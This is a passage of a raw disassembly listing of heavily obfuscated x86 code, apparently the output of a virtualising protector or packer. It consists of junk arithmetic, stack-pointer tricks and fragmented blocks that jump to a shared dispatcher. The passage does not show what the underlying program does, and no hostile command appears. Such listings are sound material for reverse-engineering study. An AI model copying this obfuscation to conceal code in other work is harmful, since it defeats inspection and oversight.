loc_57BEF8:				; CODE XREF: ud2_____:00578637j
		xor	esi, 2D0E188Bh
		pop	ecx
		mov	eax, esi
		pop	esi
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 2
		push	eax
		jmp	loc_575E7F
; ---------------------------------------------------------------------------


loc_57BF1C:				; CODE XREF: ud2_____:005781D3j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_573A5F
; ---------------------------------------------------------------------------


loc_57BF31:				; CODE XREF: ud2_____:00575021j
		push	2CECh
		mov	[esp], ecx
		mov	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 47D01BEEh
		jmp	loc_57ABCD
; ---------------------------------------------------------------------------


loc_57BF4E:				; CODE XREF: ud2_____:00573E2Ej
		xor	esi, edi
		jmp	loc_57474F
; ---------------------------------------------------------------------------


loc_57BF55:				; CODE XREF: ud2_____:0057D918j
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	ecx, ecx
		jmp	loc_5759D1
; ---------------------------------------------------------------------------


loc_57BF62:				; CODE XREF: ud2_____:0057834Dj
		pop	cx
		mov	cx, [esp]
		add	esp, 2
		add	al, bl
		push	ebx
		mov	bh, 4Dh
		add	al, 0CDh
		jmp	loc_57A774
; ---------------------------------------------------------------------------


loc_57BF7A:				; CODE XREF: ud2_____:00574BF4j
		xor	ecx, 460A7BC0h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57BF92:				; CODE XREF: ud2_____:0057B807j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_57C824
; ---------------------------------------------------------------------------


loc_57BFA6:				; CODE XREF: ud2_____:00575F78j
		sub	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57D712
; ---------------------------------------------------------------------------


loc_57BFC1:				; CODE XREF: ud2_____:005738EDj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_57BD14
; ---------------------------------------------------------------------------


loc_57BFDD:				; CODE XREF: ud2_____:005792D0j
		xor	bh, 91h
		jmp	loc_57A55F
; ---------------------------------------------------------------------------


loc_57BFE5:				; CODE XREF: ud2_____:0057300Ej
		add	al, ch
		pop	ecx
		add	al, ch
		sub	al, 58h
		pop	ecx
		sub	bl, 0D0h
		push	edx
		mov	dh, 24h
		add	bl, 0C2h
		sub	bl, dh
		sub	bl, 0C2h
		push	dword ptr [esp]
		jmp	loc_579CF8
; ---------------------------------------------------------------------------


loc_57C003:				; CODE XREF: ud2_____:00577384j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 44h
		sub	al, 0Bh
		jmp	loc_57DC75
; ---------------------------------------------------------------------------


loc_57C015:				; CODE XREF: ud2_____:0057AA03j
		sub	edx, 3807621Bh
		sub	edx, ebp
		add	edx, 3807621Bh
		pop	ebp
		sub	eax, 3B5D07DCh
		add	eax, 7FB44724h
		add	eax, edx
		sub	eax, 7FB44724h
		add	eax, 3B5D07DCh
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 56E90A33h
		jmp	loc_573961
; ---------------------------------------------------------------------------


loc_57C04B:				; CODE XREF: ud2_____:005762FAj
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 51BA519Bh
		jmp	loc_57B06D
; ---------------------------------------------------------------------------


loc_57C05A:				; CODE XREF: ud2_____:0057AD4Bj
		push	357Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_57433A
; ---------------------------------------------------------------------------


loc_57C06C:				; CODE XREF: ud2_____:005792F6j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57C075:				; CODE XREF: ud2_____:00574B9Cj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_57B0A4
; ---------------------------------------------------------------------------


loc_57C085:				; CODE XREF: ud2_____:005775C3j
		push	eax
		mov	eax, 7C543FFFh
		mov	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		jmp	loc_57A5FF
; ---------------------------------------------------------------------------


loc_57C09A:				; CODE XREF: ud2_____:00573494j
		push	ebx
		jmp	loc_57B56B
; ---------------------------------------------------------------------------


loc_57C0A0:				; CODE XREF: ud2_____:00575143j
		xor	ebx, 4AB72F9Fh
		or	[edi+1Ch], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57D1A4
; ---------------------------------------------------------------------------


loc_57C0B7:				; CODE XREF: ud2_____:00576D27j
		push	ecx
		mov	ch, al
		push	eax
		mov	al, ch
		mov	bl, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	[ecx], bl
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_572041
; ---------------------------------------------------------------------------


loc_57C0DB:				; CODE XREF: ud2_____:00574C71j
		xor	esi, 0DD7FD6BAh
		sub	eax, esi
		pop	esi
		add	eax, 40F74924h
		push	ebx
		mov	ebx, 3D0446Ah
		add	ebx, 5EB25E55h
		add	ebx, 7AFF6DE1h
		shr	ebx, 5
		xor	ebx, 3B1444F9h
		sub	eax, ebx
		jmp	loc_574982
; ---------------------------------------------------------------------------


loc_57C10B:				; CODE XREF: ud2_____:00571C89j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57D777
; ---------------------------------------------------------------------------


loc_57C119:				; CODE XREF: ud2_____:00574037j
		mov	ecx, 252A4384h
		dec	ecx
		and	ecx, 43BA31DAh
		and	ecx, 47A4A49h
		not	ecx
		xor	ecx, 8F3EFE00h
		sub	esi, 26603891h
		jmp	loc_579691
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 1501799Eh
		jmp	loc_572A05
; ---------------------------------------------------------------------------


loc_57C150:				; CODE XREF: ud2_____:005726A6j
		sub	eax, esi
		pop	esi
		push	edx
		mov	edx, 763F5226h
		jmp	loc_575B6E
; ---------------------------------------------------------------------------


loc_57C15E:				; CODE XREF: ud2_____:0057AC8Cj
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_5782F7
; ---------------------------------------------------------------------------


loc_57C170:				; CODE XREF: ud2_____:0057DA7Ej
		add	eax, 4
		jmp	loc_57509A
; ---------------------------------------------------------------------------


loc_57C17A:				; CODE XREF: ud2_____:0057D3AAj
		add	ecx, 3FDD929Bh
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 7263513Dh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_57CEEE
; ---------------------------------------------------------------------------


loc_57C191:				; CODE XREF: ud2_____:00576D79j
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 179E4BE2h
		add	ebx, 0E861B422h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	30C9h
		mov	[esp], ecx
		push	2
		jmp	loc_578BF1
; ---------------------------------------------------------------------------


loc_57C1BD:				; CODE XREF: ud2_____:0057D117j
		push	ecx
		jmp	loc_575625
; ---------------------------------------------------------------------------


loc_57C1C3:				; CODE XREF: ud2_____:00579079j
		push	edi
		mov	edi, 1094610Ah
		xor	edi, 1094610Eh
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 7FF70FDCh
		sub	[esp+4], ebp
		pop	ebp
		sub	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7FF70FDCh
		push	ecx
		xor	dword ptr [esp], 2253711Eh
		jmp	loc_579416
; ---------------------------------------------------------------------------


loc_57C21A:				; CODE XREF: ud2_____:00576FF5j
		pop	eax
		jmp	loc_57B5F2
; ---------------------------------------------------------------------------


loc_57C220:				; CODE XREF: ud2_____:0057CD46j
		add	ecx, 2F006D0Ah
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ebx
		push	4
		jmp	loc_572C00
; ---------------------------------------------------------------------------


loc_57C241:				; CODE XREF: ud2_____:0057CD9Ej
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_574C50
; ---------------------------------------------------------------------------


loc_57C253:				; CODE XREF: ud2_____:00573D9Bj
		inc	word ptr [esp]
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57C25D:				; CODE XREF: ud2_____:0057D62Cj
		push	7FCEh
		mov	[esp], edx
		pop	dword ptr [edi+24h]
		pop	edx


loc_57C269:				; CODE XREF: ud2_____:loc_57D8A2j
		push	edx
		push	esp
		pop	edx
		jmp	loc_57744A
; ---------------------------------------------------------------------------


loc_57C271:				; CODE XREF: ud2_____:00576C40j
		mov	ebx, [esp]
		push	esi
		jmp	loc_57A2D9
; ---------------------------------------------------------------------------


loc_57C27A:				; CODE XREF: ud2_____:00575FA0j
		add	ebp, 0FFFFFFFFh
		or	ebp, 224D5A21h
		not	ebp
		xor	ebp, 9040854h
		sub	eax, ebp
		pop	ebp
		jmp	loc_578584
; ---------------------------------------------------------------------------


loc_57C293:				; CODE XREF: ud2_____:00576B21j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_57D116
; ---------------------------------------------------------------------------


loc_57C2A2:				; CODE XREF: ud2_____:005750B3j
		mov	eax, esp
		jmp	loc_57B9D8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_574B88
; ---------------------------------------------------------------------------


loc_57C2B2:				; CODE XREF: ud2_____:005765A4j
		mov	ebp, [esp]
		jmp	loc_57B3BE
; ---------------------------------------------------------------------------


loc_57C2BA:				; CODE XREF: ud2_____:00575409j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_574960
; ---------------------------------------------------------------------------


loc_57C2C8:				; CODE XREF: ud2_____:00572384j
		add	ebp, 6C41892Ch
		jmp	loc_575551
; ---------------------------------------------------------------------------


loc_57C2D3:				; CODE XREF: ud2_____:00574020j
		push	dword ptr [esp]
		jmp	loc_5726C4
; ---------------------------------------------------------------------------


loc_57C2DB:				; CODE XREF: ud2_____:00575EF0j
		pop	ebp
		jmp	loc_572267
; ---------------------------------------------------------------------------


loc_57C2E1:				; CODE XREF: ud2_____:0057B09Fj
		push	esi
		mov	esi, ebx
		mov	edi, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		pop	edx
		jmp	loc_579B12
; ---------------------------------------------------------------------------


loc_57C2F7:				; CODE XREF: ud2_____:0057673Bj
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_574A36
; ---------------------------------------------------------------------------


loc_57C308:				; CODE XREF: ud2_____:0057C52Aj
		add	ecx, ebx
		pop	ebx
		push	2E4Eh
		mov	[esp], esi
		push	96C16FCh
		pop	esi
		add	esi, 21947E0Ah
		sub	esi, 31F47D6Fh
		jmp	loc_574634
; ---------------------------------------------------------------------------


loc_57C32A:				; CODE XREF: ud2_____:0057ABA4j
		or	edx, ebp
		pop	ebp
		jmp	loc_57733D
; ---------------------------------------------------------------------------


loc_57C332:				; CODE XREF: ud2_____:005766F8j
		push	esp
		pop	ebx
		push	edi
		jmp	loc_57D10A
; ---------------------------------------------------------------------------


loc_57C33A:				; CODE XREF: ud2_____:005751E5j
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_575B84
; ---------------------------------------------------------------------------


loc_57C34E:				; CODE XREF: ud2_____:00577BCAj
		xor	edi, 54B730D2h
		xor	edi, 12781EF8h
		xor	edi, 7C143E17h
		and	edx, edi
		jmp	loc_57A5AC
; ---------------------------------------------------------------------------


loc_57C367:				; CODE XREF: ud2_____:00571BB0j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_5740BE
		push	403Ch
		mov	[esp], edx
		jmp	loc_5721B1
; ---------------------------------------------------------------------------


loc_57C38C:				; CODE XREF: ud2_____:005769ECj
		inc	esi
		shr	esi, 6
		push	edx
		mov	edx, esp
		jmp	loc_5787C2
; ---------------------------------------------------------------------------


loc_57C398:				; CODE XREF: ud2_____:0057BA9Ej
		pop	ebp
		add	eax, 2
		xor	eax, [esp]
		jmp	loc_575D8F
; ---------------------------------------------------------------------------


loc_57C3A4:				; CODE XREF: ud2_____:005797E5j
		push	eax
		jmp	loc_571C15
; ---------------------------------------------------------------------------


loc_57C3AA:				; CODE XREF: ud2_____:00577FE6j
		mov	ebx, eax
		pop	eax
		mov	esi, 49E1054Fh
		xor	esi, ebx
		jmp	loc_57A503
; ---------------------------------------------------------------------------


loc_57C3B9:				; CODE XREF: ud2_____:0057DBCAj
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_575CB9
		push	edx
		push	2AFEh
		mov	[esp], ebx
		push	40AC0A97h
		pop	ebx
		add	ebx, 7E8B2E90h
		jmp	loc_57D673
; ---------------------------------------------------------------------------


loc_57C3EF:				; CODE XREF: ud2_____:0057522Bj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5781D8
; ---------------------------------------------------------------------------


loc_57C3F9:				; CODE XREF: ud2_____:00574136j
		sub	edx, 68321B3Ch
		sub	ebp, edx
		jmp	loc_579AF3
; ---------------------------------------------------------------------------

locret_57C406:				; CODE XREF: ud2_____:0057BA31j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_57AE23
; ---------------------------------------------------------------------------


loc_57C40C:				; CODE XREF: ud2_____:00579C95j
		mov	[esp], ebp
		jmp	loc_575D5C
; ---------------------------------------------------------------------------


loc_57C414:				; CODE XREF: ud2_____:0057AE30j
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 2F106AD3h
		add	ebx, edx
		add	ebx, 2F106AD3h
		pop	edx
		push	edi
		mov	edi, 4
		jmp	loc_57B925
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	467Ch
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 6AB92247h
		mov	ecx, ebp
		pop	ebp
		dec	ecx
		jmp	loc_57970F
; ---------------------------------------------------------------------------


loc_57C464:				; CODE XREF: ud2_____:00574B89j
		mov	ebp, esp
		jmp	loc_57299C
; ---------------------------------------------------------------------------


loc_57C46B:				; CODE XREF: ud2_____:00578139j
		push	edx
		jmp	loc_574BDE
; ---------------------------------------------------------------------------
		xchg	bx, [esp]
		jmp	loc_57417D
; ---------------------------------------------------------------------------


loc_57C47A:				; CODE XREF: ud2_____:005795D4j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5787FB
; ---------------------------------------------------------------------------


loc_57C48E:				; CODE XREF: ud2_____:005786DEj
		push	esi
		mov	esi, 4
		jmp	loc_5758E7
; ---------------------------------------------------------------------------


loc_57C499:				; CODE XREF: ud2_____:00574660j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		push	38C2h
		jmp	loc_575161
; ---------------------------------------------------------------------------


loc_57C4AA:				; CODE XREF: ud2_____:00572BD2j
		push	ecx
		mov	cl, 3Ch
		sub	cl, 6Bh
		sub	dh, cl
		jmp	loc_578642
; ---------------------------------------------------------------------------


loc_57C4B7:				; CODE XREF: ud2_____:00574F51j
		pop	eax
		add	eax, 4
		push	edi
		jmp	loc_57DCF8
; ---------------------------------------------------------------------------


loc_57C4C3:				; CODE XREF: ud2_____:005735ADj
		pop	esp
		bswap	eax
		push	5E97h
		mov	[esp], eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57C4D3:				; CODE XREF: ud2_____:005778E1j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 0E3F2CFE2h
		add	edi, ebp
		jmp	loc_57DC08
; ---------------------------------------------------------------------------


loc_57C4F0:				; CODE XREF: ud2_____:0057413Ej
		mov	ebp, [esp]
		add	esp, 4
		shl	esi, 6
		sub	esi, 9C3201h
		inc	esi
		sub	esi, 6ECDD4FCh
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	eax, 1A93F0Ah
		push	533Ah
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_57C308
; ---------------------------------------------------------------------------


loc_57C52F:				; CODE XREF: ud2_____:00574AFFj
		push	edi
		push	0B475FF6h
		pop	edi
		push	ebp
		push	edx
		mov	edx, 12B2542Ah
		jmp	loc_572A98
; ---------------------------------------------------------------------------


loc_57C542:				; CODE XREF: ud2_____:005763ABj
		push	ebp
		mov	ebp, 403140F4h
		sub	ebp, 5D6A45FAh
		dec	ebp
		dec	ebp
		add	ebp, 24C91376h
		add	ebp, 6E7B4447h
		jmp	loc_579B37
; ---------------------------------------------------------------------------


loc_57C561:				; CODE XREF: ud2_____:00576A1Aj
		add	eax, ebp
		push	ebp
		mov	ebp, 70E074A3h
		jmp	loc_573140
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57C576:				; CODE XREF: ud2_____:00574A64j
		or	al, 5Fh
		not	al
		push	edx
		mov	dl, 9
		jmp	loc_576E25
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 2868444Eh
		jmp	loc_5793F0
; ---------------------------------------------------------------------------


loc_57C594:				; CODE XREF: ud2_____:00574178j
		sub	ebp, 0AFA72AECh
		sub	eax, ebp
		pop	ebp
		shr	eax, 1
		shl	eax, 7
		and	eax, 0B452966h
		jmp	loc_572808
; ---------------------------------------------------------------------------


loc_57C5AC:				; CODE XREF: ud2_____:0057B63Cj
		and	eax, esi
		pop	esi
		neg	eax
		jmp	loc_57C951
; ---------------------------------------------------------------------------


loc_57C5B6:				; CODE XREF: ud2_____:0057D9ABj
		mov	ebp, 170D9B68h
		xor	ecx, ebp
		pop	ebp
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_578E7F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_57897D
; ---------------------------------------------------------------------------


loc_57C5DB:				; CODE XREF: ud2_____:0057ADADj
		mov	dh, 6Ch
		jmp	loc_578324
; ---------------------------------------------------------------------------


loc_57C5E2:				; CODE XREF: ud2_____:0057626Fj
		push	67BBh
		mov	[esp], edi
		push	ecx
		mov	ecx, 47D84ED4h
		sub	ecx, 53FF5769h
		jmp	loc_576055
; ---------------------------------------------------------------------------


loc_57C5FB:				; CODE XREF: ud2_____:005788F4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_57D625
; ---------------------------------------------------------------------------


loc_57C60F:				; CODE XREF: ud2_____:005754B3j
		pop	ebp
		jmp	loc_575780
; ---------------------------------------------------------------------------


loc_57C615:				; CODE XREF: ud2_____:0057A389j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		add	ebx, 2FE56936h
		sub	ebx, 7DA6400Fh
		push	ecx
		mov	ecx, 738D4085h
		add	ecx, 60765C6Fh
		not	ecx
		or	ecx, 563D6801h
		shl	ecx, 8
		add	ecx, 0C0D1DB3h
		sub	ebx, 73873B39h
		sub	ebx, ecx
		push	edx
		mov	edx, 73873B39h
		jmp	loc_577BE3
; ---------------------------------------------------------------------------


loc_57C666:				; CODE XREF: ud2_____:00579188j
		add	ebp, 4
		add	ebp, 2
		jmp	loc_57856A
; ---------------------------------------------------------------------------


loc_57C677:				; CODE XREF: ud2_____:0057BEADj
		pop	ebx
		pop	ebx
		add	ebx, 4
		jmp	loc_57AF26
; ---------------------------------------------------------------------------


loc_57C684:				; CODE XREF: ud2_____:0057A0F2j
		mov	ecx, [esp]
		add	esp, 4
		add	bl, al
		jmp	loc_5725BE
; ---------------------------------------------------------------------------


loc_57C691:				; CODE XREF: ud2_____:0057595Bj
		pop	esi
		jmp	loc_573A16
; ---------------------------------------------------------------------------


loc_57C697:				; CODE XREF: ud2_____:005749EEj
		pop	esp
		jmp	loc_57CED9
; ---------------------------------------------------------------------------


loc_57C69D:				; CODE XREF: ud2_____:00574CB3j
		or	esi, 260157DFh
		xor	esi, 46805BBBh
		xor	esi, 4ACA5ABAh
		push	edi
		push	ebx
		mov	ebx, 42543E35h
		mov	edi, ebx
		pop	ebx
		inc	edi
		jmp	loc_57C8F5
; ---------------------------------------------------------------------------


loc_57C6BF:				; CODE XREF: ud2_____:0057845Fj
		xor	al, 0D8h
		push	cx
		jmp	loc_57B381
; ---------------------------------------------------------------------------


loc_57C6C8:				; CODE XREF: ud2_____:0057C7DEj
		sub	esi, 0A36588Ah
		pop	eax
		sub	esp, 4
		jmp	loc_579645
; ---------------------------------------------------------------------------


loc_57C6DA:				; CODE XREF: ud2_____:0057D3B8j
		add	esp, 4
		push	ecx
		mov	ecx, 3C8D4C2Eh
		jmp	loc_57D0A2
; ---------------------------------------------------------------------------


loc_57C6EB:				; CODE XREF: ud2_____:00576564j
		xor	ax, dx
		jmp	loc_5764BB
; ---------------------------------------------------------------------------


loc_57C6F3:				; CODE XREF: ud2_____:00572ED6j
		or	ebx, 46C252D4h
		push	edx
		mov	edx, 5D66A3A9h
		sub	ebx, edx
		pop	edx
		jmp	loc_572CC1
; ---------------------------------------------------------------------------


loc_57C707:				; CODE XREF: ud2_____:0057BB1Cj
		sub	edi, 157B43BEh
		sub	ebp, 2FD431CAh
		jmp	loc_573F55
; ---------------------------------------------------------------------------


loc_57C718:				; CODE XREF: ud2_____:00574BD9j
		add	edi, 4
		jmp	loc_577469
; ---------------------------------------------------------------------------


loc_57C720:				; CODE XREF: ud2_____:00572F70j
		mov	edx, 3Ch
		jmp	loc_57A3B3
; ---------------------------------------------------------------------------


loc_57C72A:				; CODE XREF: ud2_____:00576C6Aj
		pop	edx
		jmp	loc_57912B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	46A8h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_57703A
; ---------------------------------------------------------------------------


loc_57C750:				; CODE XREF: ud2_____:0057966Fj
		xor	eax, 215576E9h
		push	edi
		jmp	loc_57C98F
; ---------------------------------------------------------------------------


loc_57C75B:				; CODE XREF: ud2_____:005793A0j
		add	esp, 4
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], edx
		xchg	ebp, [esp]
		jmp	loc_572072
; ---------------------------------------------------------------------------


loc_57C772:				; CODE XREF: ud2_____:00579541j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57C777:				; CODE XREF: ud2_____:0057864Aj
		shr	dh, 2
		push	eax
		mov	ah, 9
		inc	ah
		shr	ah, 8
		jmp	loc_576C0A
; ---------------------------------------------------------------------------


loc_57C787:				; CODE XREF: ud2_____:00578E7Aj
		sub	ecx, 463421FEh
		add	eax, 23DF09B0h
		add	eax, ecx
		sub	eax, 23DF09B0h
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_57378C
; ---------------------------------------------------------------------------


loc_57C7AC:				; CODE XREF: ud2_____:00575CDFj
		mov	[esp], ebp
		mov	ebp, 7C4F0C7Dh
		sub	ebx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		neg	ebx
		shl	ebx, 3
		push	ebp
		mov	ebp, 0D2939180h
		jmp	loc_574319
; ---------------------------------------------------------------------------


loc_57C7DC:				; CODE XREF: ud2_____:0057D513j
		add	esi, eax
		jmp	loc_57C6C8
; ---------------------------------------------------------------------------


loc_57C7E3:				; CODE XREF: ud2_____:00577A36j
		sub	ebp, 67DF046Eh
		jmp	loc_574191
; ---------------------------------------------------------------------------


loc_57C7EE:				; CODE XREF: ud2_____:0057B9D3j
		add	al, dh
		pop	edx
		jmp	loc_577398
; ---------------------------------------------------------------------------


loc_57C7F6:				; CODE XREF: ud2_____:0057D105j
		mov	ebx, 53DF48F1h
		neg	ebx
		push	ecx
		mov	ecx, 5C9D0314h
		or	ebx, ecx
		pop	ecx
		jmp	loc_57BCCA
; ---------------------------------------------------------------------------


loc_57C80B:				; CODE XREF: ud2_____:0057AF8Fj
		mov	edx, 5BA1BF6h
		push	ecx
		jmp	loc_57C977
; ---------------------------------------------------------------------------


loc_57C816:				; CODE XREF: ud2_____:00573663j
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5760CB
; ---------------------------------------------------------------------------


loc_57C824:				; CODE XREF: ud2_____:0057BFA1j
		push	ebx
		push	ebp
		mov	ebp, 5F335438h
		jmp	loc_57DCA7
; ---------------------------------------------------------------------------


loc_57C830:				; CODE XREF: ud2_____:00574DFBj
		push	ebx
		jmp	loc_578888
; ---------------------------------------------------------------------------


loc_57C836:				; CODE XREF: ud2_____:0057D64Ej
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [edi+24h]


loc_57C840:				; CODE XREF: ud2_____:0057CEDEj
		push	2646h
		jmp	loc_57950F
; ---------------------------------------------------------------------------


loc_57C84A:				; CODE XREF: ud2_____:005750D3j
		add	edx, eax
		push	edi
		jmp	loc_57A196
; ---------------------------------------------------------------------------


loc_57C852:				; CODE XREF: ud2_____:00577068j
		xor	ecx, 7EE5504Fh
		sub	ebx, 3E212329h
		add	ebx, 6FB76258h
		add	ebx, ecx
		sub	ebx, 6FB76258h
		add	ebx, 3E212329h
		pop	ecx
		jmp	loc_57A9E6
; ---------------------------------------------------------------------------


loc_57C878:				; CODE XREF: ud2_____:0057B274j
		add	esp, 4
		jmp	loc_57263F
; ---------------------------------------------------------------------------


loc_57C883:				; CODE XREF: ud2_____:00575FDDj
		add	eax, 6BE555E4h
		add	eax, 76D25A2Ch
		sub	eax, ebx
		sub	eax, 76D25A2Ch
		push	183h
		mov	[esp], edx
		push	ecx
		mov	ecx, 4E3068ABh
		or	ecx, 67E9554Dh
		xor	ecx, 41C280Bh
		mov	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 595924FCh
		sub	eax, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_57A5C9
; ---------------------------------------------------------------------------


loc_57C8CF:				; CODE XREF: ud2_____:00577748j
		mov	[esp], ebx
		jmp	loc_578777
; ---------------------------------------------------------------------------


loc_57C8D7:				; CODE XREF: ud2_____:00572168j
		mov	edi, 0CED9AECFh
		sub	esi, 5855104Ch
		add	esi, 0C1844AAh
		add	esi, edi
		sub	esi, 0C1844AAh
		jmp	loc_573F06
; ---------------------------------------------------------------------------


loc_57C8F5:				; CODE XREF: ud2_____:0057C6BAj
		shl	edi, 5
		and	edi, 3BAB6DD8h
		jmp	loc_57BB5F
; ---------------------------------------------------------------------------


loc_57C903:				; CODE XREF: ud2_____:00572CBCj
		mov	esi, 3AD82954h
		add	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_574649
; ---------------------------------------------------------------------------


loc_57C918:				; CODE XREF: ud2_____:0057D0C4j
		add	esp, 4
		inc	ecx
		jmp	loc_579065
; ---------------------------------------------------------------------------


loc_57C924:				; CODE XREF: ud2_____:005772B1j
		mov	esi, 266D7AFEh
		push	ebx
		mov	ebx, 1EEA39A2h
		add	ebx, 31D93865h
		jmp	loc_5772E0
; ---------------------------------------------------------------------------


loc_57C93A:				; CODE XREF: ud2_____:00572475j
		pop	esi
		add	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		add	ebx, esi
		pop	esi
		jmp	loc_57D0FC
; ---------------------------------------------------------------------------


loc_57C951:				; CODE XREF: ud2_____:0057C5B1j
		add	eax, 5001092h
		add	ebp, eax
		pop	eax
		jmp	loc_572AD4
; ---------------------------------------------------------------------------


loc_57C95E:				; CODE XREF: ud2_____:0057D075j
		sub	eax, 0EAE03DDh
		add	eax, ebx
		push	6100h
		mov	[esp], edx
		mov	edx, offset dword_4408D8
		jmp	loc_57D723
; ---------------------------------------------------------------------------


loc_57C977:				; CODE XREF: ud2_____:0057C811j
		mov	ecx, 2B1379C4h
		not	ecx
		jmp	loc_577360
; ---------------------------------------------------------------------------


loc_57C983:				; CODE XREF: ud2_____:0057319Ej
		mov	eax, esp
		add	eax, 4
		jmp	loc_574B04
; ---------------------------------------------------------------------------


loc_57C98F:				; CODE XREF: ud2_____:0057C756j
		push	ecx
		mov	ecx, 2F6B28A6h
		shr	ecx, 5
		and	ecx, 3E8064C8h
		not	ecx
		sub	ecx, 3B4444E4h
		xchg	edx, ecx
		inc	edx
		xchg	edx, ecx
